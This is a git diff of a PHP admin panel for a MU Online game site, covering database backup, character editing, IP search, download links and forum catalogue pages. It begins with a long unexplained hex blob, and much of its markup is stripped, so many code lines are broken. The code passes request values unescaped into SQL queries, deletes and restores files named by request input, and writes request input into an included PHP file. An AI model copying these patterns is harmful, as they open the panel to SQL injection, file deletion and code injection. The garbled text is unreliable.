666F2C37756E40246564716562734E303030303646432D327F6C6F6360247E6F666C302E656562402371684020755B63616242202D302471646F576F6C64202B32212465647165627340297C6C65764373756363657350256371624164716440256C6966642020755B6361624027756E402E656562776F576E696E6271677422202F686365602B7029292972756571742829727565717F5C6173737D60482669602B3224514D425F464F4E402C20313D3354514453502C20594B435F4E402C2720755B636162402D55637162616471646B577D6D64272E4D354D414E402C24414F4C4E455F4E402C24594E4940284459475027256C69666422796464272D3B435944402F44502D5D55637162616471646B577D6D642B5025435142414451444020555B43414242202D30297275657174202B39256C6966642C2922246228256471646C27252971646527282563616C6075627F527473702D30256C696664202B39256C6966642C29222D6228256471646C272528647E6F6D6527282563616C6075627F527473702D30256C696664202B39256C6966642C2922295228256471646C2725227165697527282563616C6075627F527473702D30256C696664202B3920757B636162642C2D55637162616471646B577D6D642C272525637162616471646527282563616C6075627F527473702D30256C696664202B70292727756E67202D3D302D50757B6361626B54535F405F54282669602D7B392824796875602B39222E6F402E627574502379602C656E6160502E696D646140297479627573656352282569646B702921302C302D572C6566756C6F5E696D64616F51672B5E4F49435355435F54282669602058405F3C3[/mmw] diff --git a/admin/backup.php b/admin/backup.php new file mode 100644 index 0000000..105ec83 --- /dev/null +++ b/admin/backup.php @@ -0,0 +1,69 @@ +Created New ' . $dir . $file . ' DataBase'); + } else { + echo $mmw['warning']['red'] . 'New BackUp ' . $file . ' DataBase has been error!'; + } +} +if (isset($_POST['restore'])) { + $query = "USE master; RESTORE DATABASE MuOnline FROM DISK='{$dir}{$_POST['restore']}'; USE {$mmw['sql']['database']};"; + if (@mssql_query($query)) { + echo $mmw['warning']['green'] . 'BackUp ' . $_POST['restore'] . ' DataBase successFully restored!'; + writelog('a_backup', 'BackUp Has Been Restored ' . $dir . $_POST['restore'] . ' DataBase'); + } else { + echo $mmw['warning']['red'] . 'Restore BackUp ' . $_POST['restore'] . ' DataBase has been error!'; + } +} +if (isset($_POST['delete'])) { + unlink($dir . $_POST['delete']); + echo $mmw['warning']['green'] . 'BackUp ' . $_POST['delete'] . ' DataBase successFully deleted!'; + writelog('a_backup', 'BackUp Has Been Deleted ' . $dir . $_POST['delete'] . ' DataBase'); +} +?> +
+ Back Up - DataBase + +
+ +
+ + +
+
+ + +
+
+ [ byte] +
+ + +
+ + +
+
\ No newline at end of file diff --git a/admin/banip.php b/admin/banip.php index 933e60b..6a19400 100644 --- a/admin/banip.php +++ b/admin/banip.php @@ -1,46 +1,39 @@ -/!\ Access Denied!'); +} -// Ban Sistem by Vaflan -$banip_file = 'includes/banip.dat'; +// Ban System by Vaflan +$banIpFile = __DIR__ . '/../includes/banip.dat'; -if(isset($_POST['base'])) { - $fd = fopen($banip_file, "w"); - fwrite($fd, stripslashes($_POST['base'])); - fclose($fd); - echo "$warning_green Ban IP list SuccessFully Edited!"; - writelog("a_banip","Ban IP Has Been Edited Author: $_SESSION[a_admin_login]"); +if (isset($_POST['base'])) { + file_put_contents($banIpFile, stripslashes($_POST['base'])); + echo $mmw['warning']['green'] . 'Ban IP list SuccessFully Edited!'; + writelog('a_banip', 'Ban IP Has Been Edited Author: ' . $_SESSION['admin']['account']); } - -$banip_open = @fopen($banip_file,'r'); -$banip_read = @fread($banip_open,@filesize($banip_file)); -@fclose($banip_open); +$banIpData = @file_get_contents($banIpFile); ?> - - - - - -
-
- Banned IP - -
-
\ No newline at end of file +
+ Banned IP + +
diff --git a/admin/char.php b/admin/char.php index 259bc3d..809780a 100644 --- a/admin/char.php +++ b/admin/char.php @@ -1,235 +1,337 @@ -/!\ Access Denied!'); +} // Character Editor -if(isset($_POST["edit_character_done"])) { - $post_character = $_POST['character']; - $post_level = $_POST['level']; - $post_reset = $_POST['reset']; - $post_zen = $_POST['zen']; - $post_gm = $_POST['gm']; - $post_strength = $_POST['strength']; - $post_agility = $_POST['agility']; - $post_vitality = $_POST['vitality']; - $post_energy = $_POST['energy']; - $post_command = $_POST['command']; - $post_leveluppoint = $_POST['leveluppoint']; - $post_pklevel = $_POST['pklevel']; - $post_pktime = $_POST['pktime']; - $post_mapnumber = $_POST['mapnumber']; - $post_mapposx = $_POST['mapposx']; - $post_mapposy = $_POST['mapposy']; - $post_class = $_POST['class']; - $get_account = mssql_query("SELECT accountid,Name from character where Name='$post_character'"); - $get_account_done = mssql_fetch_row($get_account); +if (isset($_POST['edit_character_done'])) { + $post_character = stripslashes($_POST['edit_character_done']); + $post_level = $_POST['level']; + $post_reset = $_POST['reset']; + $post_zen = $_POST['zen']; + $post_gm = $_POST['gm']; + $post_strength = $_POST['strength']; + $post_agility = $_POST['agility']; + $post_vitality = $_POST['vitality']; + $post_energy = $_POST['energy']; + $post_command = $_POST['command']; + $post_leveluppoint = $_POST['leveluppoint']; + $post_pklevel = $_POST['pklevel']; + $post_pktime = $_POST['pktime']; + $post_mapnumber = $_POST['mapnumber']; + $post_mapposx = $_POST['mapposx']; + $post_mapposy = $_POST['mapposy']; + $post_class = $_POST['class']; + + $get_account = mssql_query("SELECT accountid,Name FROM dbo.Character WHERE Name='{$post_character}'"); + $get_account_done = mssql_fetch_row($get_account); - $online_check = mssql_query("SELECT ConnectStat FROM MEMB_STAT WHERE memb___id='$get_account_done[0]'"); - $oc_row = mssql_fetch_row($online_check); - $get_chr = mssql_query("SELECT GameIDC FROM AccountCharacter WHERE Id='$get_account_done[0]'"); - $get_acc_chr = mssql_fetch_row($get_chr); + $online_check = mssql_query("SELECT + ConnectStat, + GameIDC + FROM dbo.MEMB_STAT + LEFT JOIN dbo.AccountCharacter ON Id COLLATE DATABASE_DEFAULT = memb___id COLLATE DATABASE_DEFAULT + WHERE memb___id='{$get_account_done[0]}'"); + $oc_row = mssql_fetch_row($online_check); - if(empty($post_character) || empty($post_level) || empty($post_strength) || empty($post_agility) || empty($post_vitality) || empty($post_energy)) {echo "$warning_red Error: Some Fields Were Left Blank!
Go Back.";} - elseif(mssql_num_rows($get_account) <= 0) {echo "$warning_red Error: Character $post_character Doesn't Exist!
Go Back.";} - elseif($oc_row[0]!=0 && $get_acc_chr[0]==$get_account_done[1]) {echo "$warning_red Error: Character $post_character Must Be Logged Off!
Go Back.";} - elseif(ereg('[^0-9]', $post_level)) {echo "$warning_red Error: Please Use Only Numbers At Level!
Go Back.";} - elseif(ereg('[^0-9]', $post_reset)) {echo "$warning_red Error: Please Use Only Numbers At Reset!
Go Back.";} - elseif(ereg('[^0-9]', $post_zen)) {echo "$warning_red Error: Please Use Only Numbers At Zen!
Go Back.";} - elseif(ereg('[^0-9]', $post_leveluppoint)) {echo "$warning_red Error: Please Use Only Numbers At Level Up Point!
Go Back.";} - elseif(ereg('[^0-9]', $post_pklevel)) {echo "$warning_red Error: Please Use Only Numbers At PK Level!
Go Back.";} - elseif(ereg('[^0-9]', $post_pktime)) {echo "$warning_red Error: Please Use Only Numbers At PK Time!
Go Back.";} - elseif(ereg('[^0-9]', $post_mapnumber)) {echo "$warning_red Error: Please Use Only Numbers At Map Number!
Go Back.";} - elseif(ereg('[^0-9]', $post_mapposx)) {echo "$warning_red Error: Please Use Only Numbers At Map x!
Go Back.";} - elseif(ereg('[^0-9]', $post_mapposy)) {echo "$warning_red Error: Please Use Only Numbers At Map y!
Go Back.";} - else { - mssql_query("UPDATE character SET [clevel]='$post_level',[reset]='$post_reset',[money]='$post_zen',[ctlcode]='$post_gm',[strength]='$post_strength',[dexterity]='$post_agility',[vitality]='$post_vitality',[energy]='$post_energy',[leadership]='$post_command',[LevelUpPoint]='$post_leveluppoint',[PkLevel]='$post_pklevel',[PkTime]='$post_pktime',[mapnumber]='$post_mapnumber',[mapposx]='$post_mapposx',[mapposy]='$post_mapposy',[class]='$post_class' WHERE name='$post_character'"); - echo "$warning_green Character $post_character SuccessFully Edited!"; - writelog("a_edit_char","Character $_POST[character] Has Been Edited with the next->Level:$_POST[level]|Reset:$_POST[reset]|Zen:$_POST[zen]|Strengh:$_POST[strength]|Agiltiy:$_POST[agility]|Vitality:$_POST[vitality]|Energy:$_POST[energy]|Command:$_POST[command]|LevelUpPoint:$_POST[leveluppoint]|ResTime:$_POST[restime]|PkLevel:$_POST[pklevel]|PkTime:$_POST[pktime]|MapNumber:$_POST[mapnumber]|MapX:$_POST[mapposx]|Mapy:$_POST[mapposy]"); - } + if (empty($post_character) || empty($post_level) || empty($post_strength) || empty($post_agility) || empty($post_vitality) || empty($post_energy)) { + echo $mmw['warning']['red'] . 'Error: Some Fields Were Left Blank!
Go Back.'; + } elseif ($oc_row[0] != 0 && $oc_row[2] == $get_account_done[1]) { + echo $mmw['warning']['red'] . 'Error: Character Must Be Logged Off!
Go Back.'; + } elseif (!preg_match('/\d+/', $post_level)) { + echo $mmw['warning']['red'] . 'Error: Please Use Only Numbers At Level!
Go Back.'; + } elseif (!preg_match('/\d+/', $post_reset)) { + echo $mmw['warning']['red'] . 'Error: Please Use Only Numbers At Reset!
Go Back.'; + } elseif (!preg_match('/\d+/', $post_zen)) { + echo $mmw['warning']['red'] . 'Error: Please Use Only Numbers At Zen!
Go Back.'; + } elseif (!preg_match('/\d+/', $post_leveluppoint)) { + echo $mmw['warning']['red'] . 'Error: Please Use Only Numbers At Level Up Point!
Go Back.'; + } elseif (!preg_match('/\d+/', $post_pklevel)) { + echo $mmw['warning']['red'] . 'Error: Please Use Only Numbers At PK Level!
Go Back.'; + } elseif (!preg_match('/\d+/', $post_pktime)) { + echo $mmw['warning']['red'] . 'Error: Please Use Only Numbers At PK Time!
Go Back.'; + } elseif (!preg_match('/\d+/', $post_mapnumber)) { + echo $mmw['warning']['red'] . 'Error: Please Use Only Numbers At Map Number!
Go Back.'; + } elseif (!preg_match('/\d+/', $post_mapposx)) { + echo $mmw['warning']['red'] . 'Error: Please Use Only Numbers At Map x!
Go Back.'; + } elseif (!preg_match('/\d+/', $post_mapposy)) { + echo $mmw['warning']['red'] . 'Error: Please Use Only Numbers At Map y!
Go Back.'; + } else { + mssql_query("UPDATE dbo.Character SET [clevel]='$post_level',[{$mmw['reset_column']}]='$post_reset',[money]='$post_zen',[CtlCode]='$post_gm',[strength]='$post_strength',[dexterity]='$post_agility',[vitality]='$post_vitality',[energy]='$post_energy',[leadership]='$post_command',[LevelUpPoint]='$post_leveluppoint',[PkLevel]='$post_pklevel',[PkTime]='$post_pktime',[mapnumber]='$post_mapnumber',[mapposx]='$post_mapposx',[mapposy]='$post_mapposy',[class]='$post_class' WHERE Name='{$post_character}'"); + echo $mmw['warning']['green'] . 'Character ' . $post_character . ' SuccessFully Edited!'; + writelog('a_edit_char', "Character {$_POST['character']} Has Been Edited with the next->Level:$_POST[level]|Reset:$_POST[reset]|Zen:$_POST[zen]|Strengh:$_POST[strength]|Agiltiy:$_POST[agility]|Vitality:$_POST[vitality]|Energy:$_POST[energy]|Command:$_POST[command]|LevelUpPoint:$_POST[leveluppoint]|ResTime:$_POST[restime]|PkLevel:$_POST[pklevel]|PkTime:$_POST[pktime]|MapNumber:$_POST[mapnumber]|MapX:$_POST[mapposx]|Mapy:$_POST[mapposy]"); + } } -?> - - - - - - - - - - - - - - - - - - - - -
-
- 0) {$mode[$get_character_done[9]] = "selected";} else {$mode[0] = "selected";} - if($get_character_done[16] > 0) {$class[$get_character_done[16]] = "selected";} else {$class[0] = "selected";} +if (isset($_GET['chr'])) { + $character_edit = stripslashes($_GET['chr']); + $get_character = mssql_query("SELECT accountid,clevel,{$mmw['reset_column']},money,strength,dexterity,vitality,energy,leadership,CtlCode,LevelUpPoint,PkLevel,PkTime,mapnumber,mapposx,mapposy,Class FROM dbo.Character WHERE Name='{$character_edit}'"); + $get_character_done = mssql_fetch_row($get_character); - $online_check = mssql_query("SELECT ConnectStat FROM MEMB_STAT WHERE memb___id='$get_character_done[0]'"); - $oc_row = mssql_fetch_row($online_check); - $get_chr = mssql_query("SELECT GameIDC FROM AccountCharacter WHERE Id='$get_character_done[0]'"); - $get_acc_chr = mssql_fetch_row($get_chr); + $mode[$get_character_done[9]] = 'selected'; + $class[$get_character_done[16]] = 'selected'; - if($oc_row[0]=='1') {$acc_status = "Online";}else{$acc_status = "Offline";} - if($get_acc_chr[0]==$character_edit && $oc_row[0]=='1') {$character_status = "Online";}else{$character_status = "Offline";} -?> - Character -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Account
Character
Level
Reset
Level Up Point
Zen
Class - -
Mode
Strength
Agility
Vitality
Energy
Command
Pk Level, Time
Map, x, y
-
-
-
-
- - Search Character -
- - - - - - - - - - - - -
Character
Search type - -
- -
-
-
-
-
- Search Character Results + $online_check = mssql_query("SELECT + ConnectStat, + GameIDC + FROM dbo.MEMB_STAT + LEFT JOIN dbo.AccountCharacter ON Id COLLATE DATABASE_DEFAULT = memb___id COLLATE DATABASE_DEFAULT + WHERE memb___id='{$get_character_done[0]}'"); + $oc_row = mssql_fetch_row($online_check); - - - - - - - - - - - -Online' + : 'Offline'; + $character_status = ($oc_row[0] == '1' && $oc_row[1] == $character_edit) + ? 'Online' + : 'Offline'; + ?> +
+ Character +
+
#NameAccountLevelResetsClassStatusEdit
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Account + + +
Character
Level + +
+ +
Level Up Point + +
Zen + +
Class + +
Mode
Strength + +
Agility + +
Vitality + +
Energy + +
Command + +
Pk Level, Time + + +
Map, x, y + + +
+ + +
+ +
+ -if($_POST['search_type']==0) {$result = mssql_query("SELECT Name,Class,cLevel,reset,strength,dexterity,vitality,energy,accountid,ctlcode from Character where name='$search'");} -if($_POST['search_type']==1) {$result = mssql_query("SELECT Name,Class,cLevel,reset,strength,dexterity,vitality,energy,accountid,ctlcode from Character where name like '%$search%'");} +
+ Search Character +
+ + + + + + + + + + + + +
Character
Search type + +
+ +
+ +
+
+
-for($i=0;$i < mssql_num_rows($result);++$i) { - $row = mssql_fetch_row($result); - $rank = $i+1; + +
+ Search Character Result - $status_reults = mssql_query("Select ConnectStat from MEMB_STAT where memb___id='$row[8]'"); - $status = mssql_fetch_row($status_reults); + + + + + + + + + + + + + + ';} - if($status[0] == 1){$status[0] ='';} + $queryBuildWhere = !empty($_POST['search_type']) + ? "c.Name LIKE '%{$search}%'" + : "c.Name = '{$search}'"; + $result = mssql_query("SELECT + c.Name, + c.Class, + c.cLevel, + c.{$mmw['reset_column']}, + c.Strength, + c.Dexterity, + c.Vitality, + c.Energy, + c.AccountID, + c.CtlCode, + ms.ConnectStat + FROM dbo.Character as c + LEFT JOIN dbo.MEMB_STAT as ms ON ms.memb___id = c.AccountID + WHERE {$queryBuildWhere} + "); - if($row[9] == 1) {$row[9] = "
#NameAccountModeReset / LevelClassStatusEdit
Blocked
";} - elseif($row[9] == 32 || $row[9] == 8) {$row[9] = "
GM
";} - elseif($row[9] == 0) {$row[9] = "Normal";} + $rank = 1; + while ($row = mssql_fetch_row($result)) { + if ($row[10] == 0) { + $status = 'offline'; + } + if ($row[10] == 1) { + $status = 'online'; + } + if ($row[10] === null) { + $status = 'death'; + } - $character_table_edit = "
"; -?> -
.
+ if ($row[9] == 1) { + $row[9] = 'Blocked'; + } elseif ($row[9] == 32 || $row[9] == 8) { + $row[9] = 'GM'; + } elseif ($row[9] == 0) { + $row[9] = 'Normal'; + } + ?> + + . + + + + + + + +
+ + + +
+
+ + + +
+ + + + - - - - - \ No newline at end of file + + \ No newline at end of file diff --git a/admin/downloads.php b/admin/downloads.php index 9965d2f..6aa6bfc 100644 --- a/admin/downloads.php +++ b/admin/downloads.php @@ -1,146 +1,165 @@ -/!\ Access Denied!'); +} // Download List -if(isset($_POST["new_link"])) { - $link_name = $_POST['link_name']; - $link_address = $_POST['link_address']; - $link_description = $_POST['link_description']; - $link_size = $_POST['link_size']; - if(empty($link_name) || empty($link_address) || empty($link_description) || empty($link_size)) {echo "$warning_red Error: Some Fields Were Left Blank!
Go Back.";} - else { - mssql_query("INSERT INTO MMW_links(l_name,l_address,l_description,l_size,l_date,l_id) VALUES ('$link_name','$link_address','$link_description','$link_size','".time()."','$mmw[rand_id]')"); - echo "$warning_green Link SuccessFully Added!"; - writelog("a_link","Link $_POST[link_name] Has Been Added"); - } +if (isset($_POST['new_link'])) { + $link_name = $_POST['link_name']; + $link_address = $_POST['link_address']; + $link_description = $_POST['link_description']; + $link_size = $_POST['link_size']; + $link_time = time(); + if (empty($link_name) || empty($link_address) || empty($link_description) || empty($link_size)) { + echo $mmw['warning']['red'] . 'Error: Some Fields Were Left Blank!
Go Back.'; + } else { + mssql_query("INSERT INTO dbo.MMW_links(l_name,l_address,l_description,l_size,l_date,l_id) VALUES ('{$link_name}','{$link_address}','{$link_description}','{$link_size}','{$link_time}','{$mmw['rand_id']}')"); + echo $mmw['warning']['green'] . 'Link SuccessFully Added!'; + writelog('a_link', 'Link ' . $_POST['link_name'] . ' Has Been Added'); + } } -if(isset($_POST["edit_link_done"])) { - $link_name = $_POST['link_name']; - $link_address = $_POST['link_address']; - $link_description = $_POST['link_description']; - $link_size = $_POST['link_size']; - $link_id = $_POST['link_id']; - if(empty($link_name) || empty($link_address) || empty($link_description) || empty($link_size) || empty($link_id)) {echo "$warning_red Error: Some Fields Were Left Blank!
Go Back.";} - else { - mssql_query("Update MMW_links set [l_name]='$link_name',[l_address]='$link_address',[l_description]='$link_description',[l_size]='$link_size',[l_date]='".time()."' where l_id='$link_id'"); - echo "$warning_green Link SuccessFully Edited!"; - writelog("a_link","Link $_POST[link_name] Has Been Edited"); - } +if (isset($_POST['edit_link_done'])) { + $link_name = $_POST['link_name']; + $link_address = $_POST['link_address']; + $link_description = $_POST['link_description']; + $link_size = $_POST['link_size']; + $link_id = $_POST['link_id']; + $link_time = time(); + if (empty($link_name) || empty($link_address) || empty($link_description) || empty($link_size) || empty($link_id)) { + echo $mmw['warning']['red'] . 'Error: Some Fields Were Left Blank!
Go Back.'; + } else { + mssql_query("UPDATE dbo.MMW_links SET [l_name]='{$link_name}',[l_address]='{$link_address}',[l_description]='{$link_description}',[l_size]='{$link_size}',[l_date]='{$link_time}' WHERE l_id='{$link_id}'"); + echo $mmw['warning']['green'] . 'Link SuccessFully Edited!'; + writelog('a_link', 'Link ' . $_POST['link_name'] . ' Has Been Edited'); + } } -if(isset($_POST["delete_link"])) { - $link_id = $_POST["delete_link"]; - if(empty($link_id)) {echo "$warning_red Error: Some Fields Were Left Blank!
Go Back.";} - else { - mssql_query("DELETE FROM MMW_links WHERE l_id='$link_id'"); - echo "$warning_green Link SuccessFully Deleted!"; - writelog("a_link","Link $link_name Has Been Deleted"); - } +if (isset($_POST['delete_link'])) { + if (empty($_POST['delete_link'])) { + echo $mmw['warning']['red'] . 'Error: Some Fields Were Left Blank!
Go Back.'; + } else { + mssql_query("DELETE FROM dbo.MMW_links WHERE l_id='{$_POST['delete_link']}'"); + echo $mmw['warning']['green'] . 'Link SuccessFully Deleted!'; + writelog('a_link', 'Link ' . $link_name . ' Has Been Deleted'); + } } ?> - - - + + + + + + + + + + + + + + + + + + +
-
+
- + Edit Link - - - New Link -
Link Name + +
Link Address + + + +
Link Size + +
Description + +
+ + +
+ + + New Link +
- - - - - - - - - - - - - - - - - - - -
Link Name
Link Address
Link Size
Description
-
- - - - - - -
- Links List - - - - - - - - - - - -"; + + + + + + + + + + + + + + + + + + + +
#NameAddressDescriptionDateEditDelete
Link Name
Link Address +
Link Size
Description +
+ + +
+ + +
+
+ Links List - $table_delete = "
"; - - $row[0] = substr($row[0],0,8); - $row[1] = substr($row[1],0,14); - $row[2] = substr($row[2],0,14); -?> - - . - ... - ... - ... - - - - - - + + + + + + + + + + + + + + + + + + + + + + + +
#NameAddressDescriptionDateEditDelete
.......... +
+ + +
+
+
+ + +
+
-
- - - \ No newline at end of file + diff --git a/admin/engine.php b/admin/engine.php deleted file mode 100644 index 01dd6ef..0000000 --- a/admin/engine.php +++ /dev/null @@ -1,79 +0,0 @@ -".date('d.m.Y H:i:s')." By $_SERVER[REMOTE_ADDR] \n"; - $fp = fopen("logs/$logfile.php","a"); - fputs($fp, $text); - fclose($fp); -} - - -function clearlog($logfile) { - //$fp = fopen("logs/$logfile.php","w"); - //fwrite ($fp, ""); - unlink("logs/$logfile.php"); -} - - -// Start Login Sistem -if(isset($_POST["admin_login"])) { - $account = clean_var(stripslashes($_POST['account'])); - $password = clean_var(stripslashes($_POST['password'])); - $securitycode = clean_var(stripslashes($_POST['securitycode'])); - - if($account==NULL || $password==NULL || $securitycode==NULL) {die("$warning_red
Fatal ErroR! by Vaflan
");} - - if($mmw[md5] == yes){$pass = "[dbo].[fn_md5]('$password','$account')";} else{$pass = "'$password'";} - $result = @mssql_query("SELECT memb___id,mmw_status FROM dbo.MEMB_INFO WHERE memb___id='$account' AND memb__pwd=$pass"); - $row = @mssql_fetch_row($result); - - if($row[0]!=$account || $mmw[admin_securitycode]!=$securitycode) { - echo ''; - } - if($row[0]==$account && $mmw[status_rules][$row[1]][admin_panel]!=1) { - echo ''; - } - if($row[0]==$account && $mmw[admin_securitycode]==$securitycode && !empty($password) && $mmw[status_rules][$row[1]][admin_panel]==1) { - $_SESSION['a_admin_login'] = $account; - $_SESSION['a_admin_password'] = $password; - $_SESSION['a_admin_security'] = $securitycode; - $_SESSION['a_admin_level'] = $row[1]; - echo ''; - } -} - - -if(substr($_SERVER['SCRIPT_FILENAME'],-9)!='admin.php') { - die("$sql_die_start Incorrect filename admin panel!
You should: admin.php $sql_die_end"); -} -else { - $mmw[status_rules][666][admin_panel] = 1; -} - - -// Logout -if(isset($_POST["admin_logout"])) { - session_destroy(); - echo ''; -} - - -// Check Login -if(isset($_SESSION['a_admin_security']) || isset($_SESSION['a_admin_pass']) || isset($_SESSION['a_admin_login']) || isset($_SESSION['a_admin_level'])){ - $login = clean_var(stripslashes($_SESSION['a_admin_login'])); - $password = clean_var(stripslashes($_SESSION['a_admin_password'])); - $security = clean_var(stripslashes($_SESSION['a_admin_security'])); - $level = clean_var(stripslashes($_SESSION['a_admin_level'])); - - if($mmw[md5] == yes){$password = "[dbo].[fn_md5]('$password','$login')";} else{$password = "'$password'";} - $check_result = mssql_query("SELECT memb___id,mmw_status FROM dbo.MEMB_INFO WHERE memb___id='$login' AND memb__pwd=$password"); - $check_row = mssql_fetch_row($check_result); - - if($mmw[admin_securitycode]!=$security || $login!=$check_row[0] || $level!=$check_row[1] || $mmw[status_rules][$level][admin_panel]!=1) { - session_destroy(); - echo ''; - } -} -?> \ No newline at end of file diff --git a/admin/findip.php b/admin/findip.php index c0beda4..718c4c1 100644 --- a/admin/findip.php +++ b/admin/findip.php @@ -1,156 +1,179 @@ - - - - - - - - - - - - - - - - -
-
- Find Ip - - - - - - -
-
- - - - - - - - - - - - -
IP Address
Search type - -
- -
-
-
-
- - - - - - - - - - - - -
Account
Search type - -
- -
-
-
-
- - - - - - - - - - - - -
Character
Search type - -
- -
-
-
-
-
-
- Search Character IP Results +/!\ Access Denied!'); +} ?> +
+ Find Ip + + + + + + +
+
+ + + + + + + + + + + + + +
IP Address
Search type + +
+ +
+ +
+
+
+
+ + + + + + + + + + + + + +
Account
Search type + +
+ +
+ +
+
+
+
+ + + + + + + + + + + + + +
Character
Search type + +
+ +
+ +
+
+
+
- - - - - - - - - - +
+ Search Character IP Results -if($search_type == 1) { - if(isset($search_ip)) {$result = mssql_query("SELECT memb___id from MEMB_STAT where ip like '%$search_ip%'");} - elseif(isset($search_acc)) {$result = mssql_query("SELECT memb___id from MEMB_STAT where memb___id like '%$search_acc%'");} - elseif(isset($search_char)) {$result = mssql_query("SELECT accountid,name from Character where name like '%$search_char%'");} -} -else { - if(isset($search_ip)) {$result = mssql_query("SELECT memb___id from MEMB_STAT where ip='$search_ip'");} - elseif(isset($search_acc)) {$result = mssql_query("SELECT memb___id from MEMB_STAT where memb___id='$search_acc'");} - elseif(isset($search_char)) {$result = mssql_query("SELECT accountid,name from Character where name='$search_char'");} -} +
#CharacterAccountIPDate ConnectStatus
+ + + + + + + + + + +
#CharacterAccountIPDate ConnectStatus
Error #120
";} - if($get_ip_done[2] == 0){$get_ip_done[2] ='';} - if($get_ip_done[2] == 1){$get_ip_done[2] ='';} -?> -
.
+ if ($searchEntity === 'character') { + $get_char_row = array($row[1]); + } else { + $get_char_result = mssql_query("SELECT GameIDC FROM dbo.AccountCharacter WHERE Id='$row[0]'"); + $get_char_row = mssql_fetch_row($get_char_result); + } - - - - - \ No newline at end of file + if ($get_ip_row[0] !== null && $get_char_row[0] === null) { + $get_char_row[0] = 'Error #121'; + } + + if ($get_ip_row[0] === null) { + $get_ip_row[0] = 'Error #120'; + } + + $get_ip_row[2] = ($get_ip_row[2] == 1) + ? 'status' + : 'status'; + ?> + + . + + > + + + + + + + + + \ No newline at end of file diff --git a/admin/forum.php b/admin/forum.php index 4a2902a..5846afa 100644 --- a/admin/forum.php +++ b/admin/forum.php @@ -1,80 +1,102 @@ -/!\ Access Denied!'); +} // Editor Forum Catalog for Administrator -$forum_catalog = 'includes/forum_catalog.php'; -if(isset($_POST[forum])) { - include($forum_catalog); - $array_list = " $value) { - if(!empty($_POST["key$key"])) { - $id = $_POST["key$key"]; - $name = $_POST["name$key"]; - $notice = $_POST["notice$key"]; - $status = $_POST["status$key"]; - $array_list .= " $id => array('$name','$notice',$status),\n"; - } - } - if(!empty($_POST[keynew])) { - $array_list .= " $_POST[keynew] => array('$_POST[namenew]','$_POST[noticenew]',$_POST[statusnew]),\n"; - } - $array_list .= ");\n?>"; +$forum_catalog = __DIR__ . '/../includes/forum_catalog.php'; +include $forum_catalog; - $code = str_replace('<','<',str_replace("\n",' ',$array_list)); +if (isset($_POST['forum'])) { + $forumList = array(); - $fd = fopen($forum_catalog, "w"); - fwrite($fd, $array_list); - fclose($fd); - echo "$warning_green Forum Catalog SuccessFully Edited!"; - writelog("a_forum","Forum Catalog Has Been Edited Array: $code"); -} -?> + $mmw['forum_catalog']['new'] = array(); + foreach ($mmw['forum_catalog'] as $key => $value) { + if (empty($_POST['key' . $key])) { + continue; + } + $id = $_POST['key' . $key]; + $name = $_POST['name' . $key]; + $notice = $_POST['notice' . $key]; + $status = $_POST['status' . $key]; + $forumList[] = "\t{$id} => array('{$name}', '{$notice}', {$status})"; + } - - - - -
-
- Editor Forum Catalog for Administrator + $forumList = implode(',' . PHP_EOL, $forumList); + $forumData = << - - - - - - - - - - $value) { - $result = mssql_query("SELECT count(f_id) FROM MMW_forum WHERE f_catalog='$key'"); - $row = mssql_fetch_row($result); - $status = ''; - if($value[2]==1) {$status[1] = "selected";} else {$status[0] = "selected";} + file_put_contents($forum_catalog, $forumData); + echo $mmw['warning']['green'] . 'Forum Catalog SuccessFully Edited!'; + writelog('a_forum', 'Forum Catalog Has Been Edited Array: ' . $code); + include $forum_catalog; +} ?> - - - - - - - - - - - - - - - - - -
#NameNoticeAddTopicsDelete
New
-
- +
+ Forum Catalog + +
+ + + + + + + + + + + + $value) { + $result = mssql_query("SELECT count(f_id) FROM dbo.MMW_forum WHERE f_catalog='{$key}'"); + $row = mssql_fetch_row($result); + ?> + + + + + + + + + + + + + + + + + +
#NameNoticeAddTopicsDelete
+ + + + + + + + +
+ New + +
+
+ + + +
+
-
-
\ No newline at end of file + \ No newline at end of file diff --git a/admin/home.php b/admin/home.php index 3584969..1116ebf 100644 --- a/admin/home.php +++ b/admin/home.php @@ -1,14 +1,12 @@ - - - - - -
-
- Welcome - This Is Unique Administrator Panel MyMuWeb By Vaflan, Installed
-
News from the site of www.MyMuWeb.Ru
- If you see this report, a server or JavaScript means with news about MyMuWeb turned off! - -
-
\ No newline at end of file +/!\ Access Denied!'); +} ?> +
+ Welcome + This Is Unique Administrator Panel MyMuWeb By Vaflan, + Installed +
+ News from the site of MyMuWeb.Ru + If you see this report, a server or JavaScript means with news about MyMuWeb turned off! + +
\ No newline at end of file diff --git a/admin/index.php b/admin/index.php new file mode 100644 index 0000000..3bfc912 --- /dev/null +++ b/admin/index.php @@ -0,0 +1,193 @@ + $account, + 'password' => $password, + 'security' => $security, + 'level' => $row['mmw_status'] + ); + die(""); + } + } + die(""); +} + + +// Check Login +if (isset($_SESSION['admin']['account'], $_SESSION['admin']['level'])) { + $account = $_SESSION['admin']['account']; + $password = $_SESSION['admin']['password']; + $security = $_SESSION['admin']['security']; + $level = $_SESSION['admin']['level']; + + $passwordValue = ($mmw['md5']) + ? "[dbo].[fn_md5]('{$password}', '{$account}')" + : "'{$password}'"; + + $checkRow = mssql_fetch_assoc(mssql_query("SELECT memb___id, mmw_status FROM dbo.MEMB_INFO WHERE memb___id='{$account}' AND memb__pwd={$passwordValue}")); + + if ($mmw['admin_security_code'] !== $security || $account !== $checkRow['memb___id'] || $level !== $checkRow['mmw_status'] || !$mmw['status_rules'][$level]['admin_panel']) { + session_destroy(); + die(""); + } +} + + +// Logout +if (isset($_REQUEST['logout'])) { + session_destroy(); + die(""); +} + + +// Check admin file +if (substr($_SERVER['SCRIPT_FILENAME'], -15) != 'admin/index.php') { + die($mmw['die']['start'] . 'Incorrect filename admin panel!
You should: admin/index.php' . $mmw['die']['end']); +} + + +// Check Admin Panel +if ($mmw['check_admin_panel']) { + writelog('a_check_admin_panel', '' . '//' . $_SERVER['SERVER_ADDR'] . urlencode($_SERVER['REQUEST_URI']) . ''); +} + +$css = is_file('../themes/' . $mmw['theme'] . '/admin.css') + ? '../themes/' . $mmw['theme'] . '/admin.css' + : 'assets/admin.css'; +?> + + + MyMuWeb Administrator + + + + + + +
+ + + + + + + + + + + +
+ Home | + SQL Query | + Back Up | + Server | + News | + Downloads | + Votes | + Forum | + ADS | + Request
+ Rename Character | + Search Character | + Search Account | + Account List | + Ban IP | + Find IP | + Logs +
+ +
